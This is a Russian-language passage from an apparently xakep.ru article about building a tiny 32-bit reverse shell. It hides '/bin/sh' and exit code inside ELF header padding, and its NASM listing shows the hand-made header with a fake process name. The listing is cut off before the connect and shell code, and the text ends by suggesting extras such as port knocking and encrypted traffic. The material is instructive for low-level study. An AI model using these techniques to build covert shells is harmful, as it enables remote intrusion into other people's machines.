В заголовке ELF есть место, которое по стандарту заполняется нулями, и система не проверяет эти значения при загрузке и запуске файла (чего не скажешь о некоторых инструментах). Оно находится в самой первой строке — e_ident — и начинается с десятого байта (EI_PAD). Девятый байт EI_ABIVERSION, описывающий «версию ABI для объектных файлов», для нас нерелевантен, ведь мы пишем не под зоопарк ARM’ов. Так что мы можем безопасно использовать 8 байт, начиная с восьмого в файле. Этого как раз хватит на "/bin/sh". Но как корректно указать смещение до него в коде, не высчитывая и не меняя его руками?Здесь понадобится изменить параметры сборки. Поскольку мы собрались править сам ELF-заголовок, который вообще‑то генерируется линкером, то придется отказаться от его услуг. Как раз на такой случай NASM позволяет указать «сырой» формат выходного файла: nasm -f bin asm_shell.asm -o asm_shell.raw. В этом случае он собирает файл так, как тот описан в исходнике, не добавляя к нему вообще никаких заголовков. В данном случае нужно указать адрес, куда, как ожидается, это добро будет загружено, чтобы NASM мог правильно вычислить точку входа и прочие смещения. Для этого указывается директива org 0x08048000.
Еще одна вещь, которую мы вправе поменять без вреда для работы бинаря, — зануленная ранее информация о таблице секций. В ELF-заголовке находятся подряд такие поля:
- e_shoff, e_flags (8 байт)
- e_shentsize, e_shnum, e_shstrndx (6 байт)
Во вторую цепочку можно вынести код, завершающий процесс при неудачном соединении (он занимает 5 байт), а на его изначальное место поместить jmp _exit, сэкономив еще 3 байта. Теперь наш собранный вручную заголовок выглядит так:
Код:
org 0x08048000
ehdr: ; Elf32_Ehdr
db 0x7F, "ELF" ; e_ident
db 1, 1, 1, 0
BIN_SH:
db "/bin/sh", 0
e_type:
dw 2 ; e_type
dw 3 ; e_machine
dd 1 ; e_version
dd _start ; e_entry
dd phdr - $$ ; e_phoff
NEW_ARGV:
db "s0l3git", 0 ; e_shoff, e_flags
dw ehdrsize ; e_ehsize
dw phdrsize ; e_phentsize
dw 1 ; e_phnum
_exit:
push NR_EXIT ; e_shentsize
pop eax ; e_shnum
; exit_code = random :D ; e_shstrndx
int 0x80
db 0
ehdrsize equ $ - ehdr
phdr: ; Elf32_Phdr
dd 1 ; p_type
dd 0 ; p_offset
dd $$ ; p_vaddr
dd $$ ; p_paddr
dd filesize ; p_filesz
dd filesize ; p_memsz
dd 5 ; p_flags
dd 0x1000 ; p_align
phdrsize equ $ - phdr
...
Вот и весь реверс‑шелл
ЧТО МЫ ВЫЯСНИЛИ?
Во‑первых, при желании реверс‑шелл может быть почти неприлично крохотным. Во‑вторых, 32-битные процессы могут выполнить execve() и стать 64-битными. Заголовки в ELF-файлах могут перекрываться, и, если это сделано с умом, такой файл будет прекрасно работать. А смена процессом своего имени может оставлять следы.Поскольку у нас имеется рабочий обратный шелл, ему можно навесить побольше соответствующей функциональности. Например, игнорирование сигналов, простукивание портов, шифрование трафика... Но это уже другая история.
автор @kclo3
Ксения Кирилова
xakep.ру